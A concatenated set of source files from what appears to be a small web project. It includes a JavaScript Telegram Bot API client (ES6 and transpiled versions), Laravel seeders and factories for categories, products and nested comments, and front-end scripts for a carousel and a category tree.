* @param callback
* Response handler.
*/
setWebhook(url, callback) {
// include a randomly generated token as a URL parameter so incomming
// updates can be authenticated against it
this._secret = hat();
request.post(this._getRequestUri('setWebhook', {
url: `${url}?${qs.stringify({secret: this._secret})}`
}), callback);
return this;
}
/**
* Send text messages.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* text
* Message to send.
*
* disable_web_page_preview [optional]
* Disable links previews for links in the message.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendMessage({chat_id, text, disable_web_page_preview, reply_to_message_id,
reply_markup}, callback) {
this._checkRequiredParams(chat_id, text);
request.post(this._getRequestUri('sendMessage'), {
form: {
chat_id,
text,
disable_web_page_preview,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Forward a message of any kind.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* from_chat_id
* Unique identifier for the chat the message originated from.
*
* message_id
* Unique message identifier
*
* @param callback
* Response handler.
*/
forwardMessage({chat_id, from_chat_id, message_id}, callback) {
this._checkRequiredParams(chat_id, from_chat_id, message_id);
request.post(this._getRequestUri('forwardMessage'), {
form: {
chat_id,
from_chat_id,
message_id
}
}, callback);
return this;
}
/**
* Send a photo.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* photo
* Photo to send.
*
* caption [optional]
* Photo caption.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendPhoto({chat_id, photo, caption, reply_to_message_id, reply_markup},
callback) {
this._checkRequredParams(chat_id, photo);
request.post(this._getRequestUri('sendPhoto'), {
form: {
chat_id,
photo,
caption,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Send audio files.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* audio
* Audio to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendAudio({chat_id, audio, reply_to_message_id, reply_markup}, callback) {
this._checkRequiredParams(chat_id, audio);
request.post(this._getRequestUri('sendAudio'), {
form: {
chat_id,
audio,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Send generic files.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* document
* Document to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendDocument({chat_id, document, reply_to_message_id, reply_markup}, callback) {
this._checkRequiredParams(chat_id, document);
request.post(this._getRequestUri('sendDocument'), {
form: {
chat_id,
document,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Send stickers.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* sticker
* Sticker to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendSticker({chat_id, sticker, reply_to_message_id, reply_markup}, callback) {
this._checkRequiredParams(chat_id, sticker);
request.post(this._getRequestUri('sendSticker'), {
form: {
chat_id,
sticker,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Send video files.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* video
* Video to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendVideo({chat_id, video, reply_to_message_id, reply_markup}, callback) {
this._checkRequiredParams(chat_id, video);
request.post(this._getRequestUri('sendVideo'), {
form: {
chat_id,
video,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Send location information.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* latitude
* Latitude of location.
*
* longitude
* Longitude of location.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
sendLocation({chat_id, latitude, longitude, reply_to_message_id, reply_markup},
callback) {
this._checkRequiredParams(chat_id, latitude, longitude);
request.post(this._getRequestUri('sendLocation'), {
form: {
chat_id,
latitude,
longitude,
reply_to_message_id,
reply_markup
}
}, callback);
return this;
}
/**
* Report something is happening on the bot's side.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* action
* The action to broadcast. Available actions are 'typing' for
* text message, 'upload_photo' for photos, 'record_video' or
* 'upload_video' for videos, 'record_audio' or 'upload_audio' for
* audio files, 'upload_document' for general files, and
* 'find_location' for location data.
*
* @param callback
* Response handler.
*/
sendChatAction({chat_id, action}, callback) {
this._checkRequiredParams(chat_id, action);
request.post(this._getRequestUri('sendChatAction'), {
form: {
chat_id,
action
}
}, callback);
return this;
}
/**
* Get a list of public profile pictures for a user.
*
* @param parameters
* user_id
* Unique identifier for the user.
*
* offset [optional]
* Sequential number of the first photo to be returned. By
* default, all photos are returned.
*
* limit [optional]
* The maximum number of photos to retrieve. Values between 1 and
* 100 are accepted. Defaults to 100.
*
* @param callback
* Response handler.
*/
getUserProfilePhotos({user_id, offset, limit}, callback) {
this._checkRequiredParams(user_id);
request.post(this._getRequestUri('getUserProfilePhotos'), {
form: {
user_id,
offset,
limit
}
}, callback);
return this;
}
_getRequestUri(method, query_params) {
if (this._api_key === null) {
throw Error('API key is not set!');
}
let query = qs.stringify(query_params);
return `https://api.telegram.org/bot${this._api_key}/${method}?${query}`;
}
_checkRequiredParams(...params) {
params.forEach(function(param) {
if (typeof param === 'undefined') {
throw Error('required parameter missing');
}
});
}
}
export default BotApi;
<file_sep>/*
* Copyright (c) 2015 <NAME> <<EMAIL>>
*/
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true
});
var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
var _hat = require('hat');
var _hat2 = _interopRequireDefault(_hat);
var _request = require('request');
var _request2 = _interopRequireDefault(_request);
var _querystring = require('querystring');
var _querystring2 = _interopRequireDefault(_querystring);
var BotApi = (function () {
function BotApi(api_key) {
_classCallCheck(this, BotApi);
this.api_key = api_key;
}
_createClass(BotApi, [{
key: 'getMe',
/**
* Get bot's user information.
*
* @param callback
* Response handler.
*/
value: function getMe(callback) {
_request2['default'].get(this._getRequestUri('getMe'), callback);
return this;
}
/**
* Receive incoming updates.
*
* @param parameters
* offset [optional]
* Identifier of the first update to be returned. Must be greater
* by one than the highest among the identifiers of previously
* received updates. By default, updates starting with the
* earliest uncofnrimed updates are returned.
*
* limit [optional]
* The maximum number of updates to receive. Accepts values
* between 1 and 100. Defaults to 100.
*
* timeout [optional]
* Timeout in seconds for long polling. Defaults to 0.
*
* @param callback
* Response handler.
*/
}, {
key: 'getUpdates',
value: function getUpdates(_ref, callback) {
var offset = _ref.offset;
var limit = _ref.limit;
var timeout = _ref.timeout;
_request2['default'].get(this._getRequestUri('getUpdates', {
offset: offset,
limit: limit,
timeout: timeout
}), callback);
return this;
}
/**
* Specify a url to recieve incoming update via an outgoing webhook.
*
* @param url
* HTTPS url to send updates to. Use an empty string to remove webhook
* integration.
*
* @param callback
* Response handler.
*/
}, {
key: 'setWebhook',
value: function setWebhook(url, callback) {
// include a randomly generated token as a URL parameter so incomming
// updates can be authenticated against it
this._secret = (0, _hat2['default'])();
_request2['default'].post(this._getRequestUri('setWebhook', {
url: url + '?' + _querystring2['default'].stringify({ secret: this._secret })
}), callback);
return this;
}
/**
* Send text messages.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* text
* Message to send.
*
* disable_web_page_preview [optional]
* Disable links previews for links in the message.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendMessage',
value: function sendMessage(_ref2, callback) {
var chat_id = _ref2.chat_id;
var text = _ref2.text;
var disable_web_page_preview = _ref2.disable_web_page_preview;
var reply_to_message_id = _ref2.reply_to_message_id;
var reply_markup = _ref2.reply_markup;
this._checkRequiredParams(chat_id, text);
_request2['default'].post(this._getRequestUri('sendMessage'), {
form: {
chat_id: chat_id,
text: text,
disable_web_page_preview: disable_web_page_preview,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Forward a message of any kind.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* from_chat_id
* Unique identifier for the chat the message originated from.
*
* message_id
* Unique message identifier
*
* @param callback
* Response handler.
*/
}, {
key: 'forwardMessage',
value: function forwardMessage(_ref3, callback) {
var chat_id = _ref3.chat_id;
var from_chat_id = _ref3.from_chat_id;
var message_id = _ref3.message_id;
this._checkRequiredParams(chat_id, from_chat_id, message_id);
_request2['default'].post(this._getRequestUri('forwardMessage'), {
form: {
chat_id: chat_id,
from_chat_id: from_chat_id,
message_id: message_id
}
}, callback);
return this;
}
/**
* Send a photo.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* photo
* Photo to send.
*
* caption [optional]
* Photo caption.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendPhoto',
value: function sendPhoto(_ref4, callback) {
var chat_id = _ref4.chat_id;
var photo = _ref4.photo;
var caption = _ref4.caption;
var reply_to_message_id = _ref4.reply_to_message_id;
var reply_markup = _ref4.reply_markup;
this._checkRequredParams(chat_id, photo);
_request2['default'].post(this._getRequestUri('sendPhoto'), {
form: {
chat_id: chat_id,
photo: photo,
caption: caption,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Send audio files.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* audio
* Audio to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendAudio',
value: function sendAudio(_ref5, callback) {
var chat_id = _ref5.chat_id;
var audio = _ref5.audio;
var reply_to_message_id = _ref5.reply_to_message_id;
var reply_markup = _ref5.reply_markup;
this._checkRequiredParams(chat_id, audio);
_request2['default'].post(this._getRequestUri('sendAudio'), {
form: {
chat_id: chat_id,
audio: audio,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Send generic files.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* document
* Document to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendDocument',
value: function sendDocument(_ref6, callback) {
var chat_id = _ref6.chat_id;
var document = _ref6.document;
var reply_to_message_id = _ref6.reply_to_message_id;
var reply_markup = _ref6.reply_markup;
this._checkRequiredParams(chat_id, document);
_request2['default'].post(this._getRequestUri('sendDocument'), {
form: {
chat_id: chat_id,
document: document,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Send stickers.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* sticker
* Sticker to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendSticker',
value: function sendSticker(_ref7, callback) {
var chat_id = _ref7.chat_id;
var sticker = _ref7.sticker;
var reply_to_message_id = _ref7.reply_to_message_id;
var reply_markup = _ref7.reply_markup;
this._checkRequiredParams(chat_id, sticker);
_request2['default'].post(this._getRequestUri('sendSticker'), {
form: {
chat_id: chat_id,
sticker: sticker,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Send video files.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* video
* Video to send.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendVideo',
value: function sendVideo(_ref8, callback) {
var chat_id = _ref8.chat_id;
var video = _ref8.video;
var reply_to_message_id = _ref8.reply_to_message_id;
var reply_markup = _ref8.reply_markup;
this._checkRequiredParams(chat_id, video);
_request2['default'].post(this._getRequestUri('sendVideo'), {
form: {
chat_id: chat_id,
video: video,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Send location information.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* latitude
* Latitude of location.
*
* longitude
* Longitude of location.
*
* reply_to_message_id [optional]
* ID of the original message when sending a reply.
*
* reply_markup [optional]
* A JSON-seriealized object for a custom reply keyboard,
* instructions to hide keyboard, or force a reply from the user.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendLocation',
value: function sendLocation(_ref9, callback) {
var chat_id = _ref9.chat_id;
var latitude = _ref9.latitude;
var longitude = _ref9.longitude;
var reply_to_message_id = _ref9.reply_to_message_id;
var reply_markup = _ref9.reply_markup;
this._checkRequiredParams(chat_id, latitude, longitude);
_request2['default'].post(this._getRequestUri('sendLocation'), {
form: {
chat_id: chat_id,
latitude: latitude,
longitude: longitude,
reply_to_message_id: reply_to_message_id,
reply_markup: reply_markup
}
}, callback);
return this;
}
/**
* Report something is happening on the bot's side.
*
* @param parameters
* chat_id
* Unique identifier for the message recipient.
*
* action
* The action to broadcast. Available actions are 'typing' for
* text message, 'upload_photo' for photos, 'record_video' or
* 'upload_video' for videos, 'record_audio' or 'upload_audio' for
* audio files, 'upload_document' for general files, and
* 'find_location' for location data.
*
* @param callback
* Response handler.
*/
}, {
key: 'sendChatAction',
value: function sendChatAction(_ref10, callback) {
var chat_id = _ref10.chat_id;
var action = _ref10.action;
this._checkRequiredParams(chat_id, action);
_request2['default'].post(this._getRequestUri('sendChatAction'), {
form: {
chat_id: chat_id,
action: action
}
}, callback);
return this;
}
/**
* Get a list of public profile pictures for a user.
*
* @param parameters
* user_id
* Unique identifier for the user.
*
* offset [optional]
* Sequential number of the first photo to be returned. By
* default, all photos are returned.
*
* limit [optional]
* The maximum number of photos to retrieve. Values between 1 and
* 100 are accepted. Defaults to 100.
*
* @param callback
* Response handler.
*/
}, {
key: 'getUserProfilePhotos',
value: function getUserProfilePhotos(_ref11, callback) {
var user_id = _ref11.user_id;
var offset = _ref11.offset;
var limit = _ref11.limit;
this._checkRequiredParams(user_id);
_request2['default'].post(this._getRequestUri('getUserProfilePhotos'), {
form: {
user_id: user_id,
offset: offset,
limit: limit
}
}, callback);
return this;
}
}, {
key: '_getRequestUri',
value: function _getRequestUri(method, query_params) {
if (this._api_key === null) {
throw Error('API key is not set!');
}
var query = _querystring2['default'].stringify(query_params);
return 'https://api.telegram.org/bot' + this._api_key + '/' + method + '?' + query;
}
}, {
key: '_checkRequiredParams',
value: function _checkRequiredParams() {
for (var _len = arguments.length, params = Array(_len), _key = 0; _key < _len; _key++) {
params[_key] = arguments[_key];
}
params.forEach(function (param) {
if (typeof param === 'undefined') {
throw Error('required parameter missing');
}
});
}
}, {
key: 'webhook_secret',
get: function get() {
return this._secret;
}
}, {
key: 'api_key',
get: function get() {
return this._api_key;
},
set: function set(api_key) {
this._api_key = typeof api_key === 'string' ? api_key : null;
}
}, {
key: 'debug',
get: function get() {
return _request2['default'].debug;
},
set: function set(debug) {
_request2['default'].debug = debug;
}
}]);
return BotApi;
})();
exports['default'] = BotApi;
module.exports = exports['default']; | afac0b48ae3e42ca0e250043bd214cf6c2cd2fb0 | [
"JavaScript"
] | 2 | JavaScript | njurgens/node-telegram-bot | 7232df71792a998e8df3b3588e97fb0b6e425b01 | 0d5c53a8c654d984d4b5d6b77f4213bd9d46be68 |
refs/heads/master | <file_sep><?php
namespace Database\Seeders;
use App\Models\Comment;
use Illuminate\Database\Seeder;
class CommentSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
// these are initial start comment
\App\Models\Comment::factory(20)->create();
//create first level of subcomment
Comment::factory()->count(100)->childComment()->create();
//create sec9nd level of subcomment
Comment::factory()->count(200)->childComment()->create();
//create third level of subcomment
Comment::factory()->count(300)->childComment()->create();
}
}
<file_sep><?php
namespace Database\Factories;
use App\Models\Category;
use Illuminate\Database\Eloquent\Factories\Factory;
class CategoryFactory extends Factory
{
/**
* The name of the factory's corresponding model.
*
* @var string
*/
protected $model = Category::class;
/**
* Define the model's default state.
*
* @return array
*/
public function definition()
{
return [
'parent_id' => 0,
'title' => $this->faker-> word,
];
}
public function childCategory()
{
return $this->state(function () {
$var0 = 0;
$ids = Category::pluck('id')->toArray();
array_unshift($ids, $var0);
return [
'parent_id' => $this->faker
-> randomElement($ids),
];
});
}
}
<file_sep><?php
namespace Database\Factories;
use App\Models\Product;
use Illuminate\Database\Eloquent\Factories\Factory;
use App\Models\Manufacturer;
use App\Models\Category;
use App\Models\Owner;
class ProductFactory extends Factory
{
/**
* The name of the factory's corresponding model.
*
* @var string
*/
protected $model = Product::class;
/**
* Define the model's default state.
*
* @return array
*/
public function definition()
{
return [
'title' => $this->faker -> word,
'description' => $this->faker -> sentence,
'manufacturer_id' => $this->faker->randomElement(Manufacturer::pluck('id')->toArray()),
'category_id' => $this->faker->randomElement(Category::pluck('id')->toArray()),
'owner_id' => $this->faker->randomElement(Owner::pluck('id')->toArray()),
];
}
}
<file_sep><?php
namespace Database\Factories;
use App\Models\Comment;
use App\Models\Product;
use Illuminate\Database\Eloquent\Factories\Factory;
class CommentFactory extends Factory
{
/**
* The name of the factory's corresponding model.
*
* @var string
*/
protected $model = Comment::class;
/**
* Define the model's default state.
*
* @return array
*/
public function definition()
{
return [
'product_id' => $this->faker->randomElement(Product::pluck('id')->toArray()),
'parent_id' => 0,
'avatar' => $this->faker->optional($weight = 0.6)->userName,
'excerpt' => $this->faker-> sentence,
'text' => $this->faker->paragraph,
];
}
public function childComment()
{
return $this->state(function () {
$var0 = 0;
$ids = Comment::pluck('id')->toArray();
array_unshift($ids, $var0);
return [
'parent_id' => $this->faker
-> randomElement($ids),
];
});
}
}
<file_sep><?php
namespace Database\Seeders;
use Illuminate\Database\Seeder;
/*use App\Models\Manufacturer;
use App\Models\Category;
use App\Models\Owner;
use App\Models\Product;*/
class DatabaseSeeder extends Seeder
{
/**
* Seed the application's database.
*
* @return void
*/
public function run()
{
// \App\Models\User::factory(10)->create();
$this->call([
ManufacturerSeeder::class,
CategorySeeder::class,
OwnerSeeder::class,
ProductSeeder::class,
CommentSeeder::class,
]);
}
}
<file_sep>window.carousel = function()
{
return {
minimised : true,
pictureReserve : [],
leftArrow: true,
rightArrow: true,
initCarousel()
{
this.pictureReserve = [];
let width = document.getElementById('carousel_inhalt').clientWidth;
let firstImage = this.$refs.carousel.querySelector('.element');
let images = this.$refs.carousel.querySelectorAll('.element');
images.forEach(item => item.classList.add('hidden'))
firstImage.classList.remove('hidden');
let imageLength = firstImage.offsetWidth;
let imageChunk = Math.floor(width/imageLength);
for (let i = 0; i < imageChunk; i++) {
images[i].classList.remove('hidden')
}
let nodeList = this.$refs.carousel.querySelectorAll('.element.hidden ');
nodeList.forEach( item => this.pictureReserve.push(item.dataset.marker));
},
swiperLeft()
{
let visiableImages = this.$refs.carousel.querySelectorAll('.element:not(.hidden) ');
let movedImage = visiableImages[0];
movedImage.classList.add('hidden');
let markerToHide = movedImage.dataset.marker;
this.pictureReserve.unshift(markerToHide);
let markerToShow = this.pictureReserve.pop();
let imageToShow = this.$refs.carousel.querySelector(`[data-marker="${markerToShow}"]`)
imageToShow.classList.remove('hidden');
document.getElementById('carousel_inhalt').append(imageToShow)
},
swiperRight()
{
let visiableImages = this.$refs.carousel.querySelectorAll('.element:not(.hidden) ');
let movedImage = visiableImages[visiableImages.length - 1];
movedImage.classList.add('hidden');
let markerToHide = movedImage.dataset.marker;
this.pictureReserve.push(markerToHide);
let markerToShow = this.pictureReserve.shift();
let imageToShow = this.$refs.carousel.querySelector(`[data-marker="${markerToShow}"]`)
imageToShow.classList.remove('hidden');
document.getElementById('carousel_inhalt').prepend(imageToShow)
}
}
}
//gesture on screen are added
let container = document.getElementById('carousel_container');
let listener = SwipeListener(container);
container.addEventListener('swipe', function (e) {
let directions = e.detail.directions;
if (directions.left) {
window.dispatchEvent(new CustomEvent('swipe-left'));
}
if (directions.right) {
window.dispatchEvent(new CustomEvent('swipe-right'));
}
});
<file_sep><?php
namespace Database\Seeders;
use App\Models\Category;
use Illuminate\Database\Seeder;
class CategorySeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
// these are initial start category
\App\Models\Category::factory(1)->create();
//create first level of subcategories
Category::factory()->count(5)->childCategory()->create();
//create second Level of subcategories
Category::factory()->count(10)->childCategory()->create();
//create third Level of subcategories
Category::factory()->count(30)->childCategory()->create();
//Create forth level 0f subcategories
Category::factory()->count(60)->childCategory()->create();
Category::factory()->count(120)->childCategory()->create();
Category::factory()->count(200)->childCategory()->create();
Category::factory()->count(400)->childCategory()->create();
}
}
<file_sep>
window.tree = function()
{
return {
minimised : true,
//the width of working area
width : document.getElementById('tree').parentElement.clientWidth,
childGroups: false,
directionArr : false,
directionsColors: ['bg-blue-200','bg-green-200','bg-yellow-200'],
openChild(level, parentId, currentElemId){
//set minimised tree marker to false
this.minimised = false;
let actualEl = this.$refs.tree.querySelector('[data-id = "' + currentElemId + '"]');
this._closeUselessGroups(level,parentId);
let nextLevel = level+1;
let childrenGroup = document.querySelector('[data-level = "'+nextLevel+'"]')
if(!childrenGroup) return;
//console.log(childrenGroup);
if(window.innerWidth <= 768)
{
this._openSmScreenChildren(actualEl, childrenGroup, parentId)
return;
}
this._paintStuff(actualEl, childrenGroup)
let myItemsParentIdArr = this.$refs.tree.querySelectorAll('.origin');
let myItemsParentId = false;
myItemsParentIdArr.forEach( (item) => {
if(item.dataset.parentId == parentId) {
myItemsParentId = item;} });
if(!myItemsParentId) return;
myItemsParentId.classList.remove('hidden');
childrenGroup.classList.remove('hidden');
let actualOffsetTop = actualEl.offsetTop;
let actualOffsetHeight = this.$refs.tree.offsetHeight
actualOffsetTop = actualOffsetTop-4;
childrenGroup.style.paddingTop = actualOffsetTop+"px";
if(actualOffsetHeight < childrenGroup.offsetHeight){
let diff = childrenGroup.offsetHeight - actualOffsetHeight;
actualOffsetTop = actualOffsetTop - diff;
if(actualOffsetTop < 0) actualOffsetTop = 0;
childrenGroup.style.paddingTop = actualOffsetTop+"px";
}
},
_closeUselessGroups(level){
let branches = this.$refs.tree.querySelectorAll('[data-level]');
branches.forEach((branch) => {
if(branch.dataset.level > level) { branch.classList.add('hidden');
branch.classList.remove('z-10','m-2', 'shadow-2xl')}
if(branch.dataset.level == level ) branch.classList.remove('m-2', 'shadow-2xl')
})
},
closeAll(){
// if minimised tree marker then escape
if(this.minimised === true) return;
let tree = this.$refs.tree;
let branches = tree.querySelectorAll('[data-level]');
branches.forEach((branch) => {
if(branch.dataset.level > 0 )
branch.classList.add('hidden');
branch.classList.remove('z-10')
})
// set marker of minimised tree to true
this.minimised = true;
},
restoreAppropriateTree()
{
this._buildSmallScreenTree();
this._recoverInitialBigTree();
},
_recoverInitialBigTree()
{
if(window.innerWidth < 768) return;
this._hideDownArrows();
let childrenGroups = this.$refs.tree.querySelectorAll('.childrenGroup');
//b esides the first child group
for(let i = 1; i< childrenGroups.length; i++)
{
childrenGroups[i].classList.add('hidden','top-0');
childrenGroups[i].classList.remove('left-0','right-0');
childrenGroups[i].style.removeProperty('top');
let classes = childrenGroups[i].classList;
for(let i2=0; i2 < classes.length; i2++)
{
if(classes[i2].startsWith('bg')) childrenGroups[i].classList.remove(classes[i])
}
}
let stuffes = this.$refs.tree.querySelectorAll('.stuff');
for(let i = 1; i < stuffes.length; i++ )
{
let classes = stuffes[i].classList;
for(let i2 =0; i2 < classes.length; i2++)
{
if(classes[i2].startsWith('bg')) stuffes[i].classList.remove(classes[i2])
}
}
this._estRowsDirection()
},
initTree()
{
this.childGroups = this.$refs.tree.querySelectorAll('.childrenGroup');
this._estRowsDirection();
this._buildSmallScreenTree();
},
_estRowsDirection()
{
if(window.innerWidth <= 768) return;
let actGroupWidth = this.childGroups[0].clientWidth;
let width = document.getElementById('tree').parentElement.clientWidth
let chunk_size = Math.floor(width/actGroupWidth)-1;
//*******************
//tis piece of code is nesasery for apropriate building to left direction rows
let leftArr =[];
for(let i=0; i< chunk_size; i++){
leftArr[i] = actGroupWidth*i;
}
let leftArrRev = [...leftArr].reverse()
//*****************
let arr = Array.from(this.childGroups);
//for technical needs remove first elem of array
let firstElem = arr.shift();
//console.table(arr)
let groups = arr.map( function(e,i){
return i % chunk_size === 0 ? arr.slice(i,i+chunk_size) : null;
}).filter(function(e){ return e; });
//in [0] tothe right [1] to the left
this.directionArr = groups.reduce((accumulator, value, index) =>
(accumulator[index % 2].push(value), accumulator), [[], []]
);
//direction to the left
for (let i =0; i < this.directionArr[1].length; i++){
let length = this.directionArr[1][i].length;
for(let i2 = 0; i2< length; i2++)
{
this.directionArr[1][i][i2].style.left = leftArrRev[i2]+'px';
}
}
//to the right
for (let i =0; i < this.directionArr[0].length; i++){
let length = this.directionArr[0][i].length;
for (let i2 = 0; i2 < length; i2++) {
this.directionArr[0][i][i2].style.left = leftArr[i2]+actGroupWidth+'px';
}
}
this._showSideArrows();
this._setFirstColumnColor();
},
_showSideArrows()
{
//show appropriate arrows
let arrow = this.childGroups[0].querySelectorAll('.arrow-right');
arrow.forEach(item => item.classList.remove('hidden'));
for(let i =0; i< this.directionArr[0].length; i++)
{
for(let i2 = 0; i2 < this.directionArr[0][i].length; i2++)
{
if(i2 === this.directionArr[0][i].length-1){
let arrow = this.directionArr[0][i][i2].querySelectorAll('.arrow-left');
arrow.forEach(item => {
item.classList.remove('hidden');
item.parentNode.prepend(item)
})
} else {
let arrow = this.directionArr[0][i][i2].querySelectorAll('.arrow-right');
arrow.forEach(item => item.classList.remove('hidden'))
}
}
}
for(let i =0; i< this.directionArr[1].length; i++)
{
for(let i2 = 0; i2 < this.directionArr[1][i].length; i2++)
{
if(i2 === this.directionArr[1][i].length-1){
let arrow = this.directionArr[1][i][i2].querySelectorAll('.arrow-right');
arrow.forEach(item => item.classList.remove('hidden'))
} else {
let arrow = this.directionArr[1][i][i2].querySelectorAll('.arrow-left');
arrow.forEach(item => {
item.classList.remove('hidden');
item.parentNode.prepend(item)
})
}
}
}
},
_hideSideArrows()
{
let arrows = this.$refs.tree.querySelectorAll('.arrow-right, .arrow-left');
arrows.forEach(item => item.classList.add('hidden'));
},
_showDownArrows()
{
for(let i = 0; i< this.childGroups.length; i++) {
let arrows = this.childGroups[i].querySelectorAll('.arrow-down');
arrows.forEach(item => item.classList.remove('hidden'));
}
},
_hideDownArrows()
{
for(let i = 0; i< this.childGroups.length; i++) {
let arrows = this.childGroups[i].querySelectorAll('.arrow-down');
arrows.forEach(item => item.classList.add('hidden'));
}
},
_setFirstColumnColor()
{
//set parens column color
let stuffs = this.childGroups[0].querySelectorAll('.stuff');
stuffs.forEach(item => item.classList.add(this.directionsColors[0]))
},
_paintStuff(actualEl, childrenGroup)
{
//painting each next child items
let classes = actualEl.classList;
let color;
for(let i=0; i<classes.length; i++)
{
if(classes[i].startsWith('bg')) color = classes[i];
}
let stuff = childrenGroup.querySelectorAll('.stuff');
stuff.forEach(item => item.classList.add(color));
//returning previous color for the last direction stuff in case of turnig direction reverse
if(actualEl.classList.contains('last') && !actualEl.querySelector('.arrow-left')
&& !actualEl.querySelector('.arrow-right')
){
this._getLastStuffColor(actualEl)
}
let turningLeft = actualEl.querySelector('.arrow-left:not(.hidden)');
if(turningLeft) {
let outgoingParentId = actualEl.closest('.parentIdItems').dataset.parentId;
let outgoingParentEl = this.$refs.tree.querySelector('[data-id = "' + outgoingParentId + '"]');
let findPrevieousRight = outgoingParentEl.querySelector('.arrow-right:not(.hidden)');
if (turningLeft && findPrevieousRight)
{
let children = childrenGroup.querySelectorAll('.stuff');
children.forEach(item => {
item.classList.add(this.directionsColors[1]);
item.classList.remove(this.directionsColors[0]);
})
actualEl.closest('.parentIdItems').querySelectorAll('.stuff').forEach(item =>
{
item.classList.add(this.directionsColors[1], 'last');
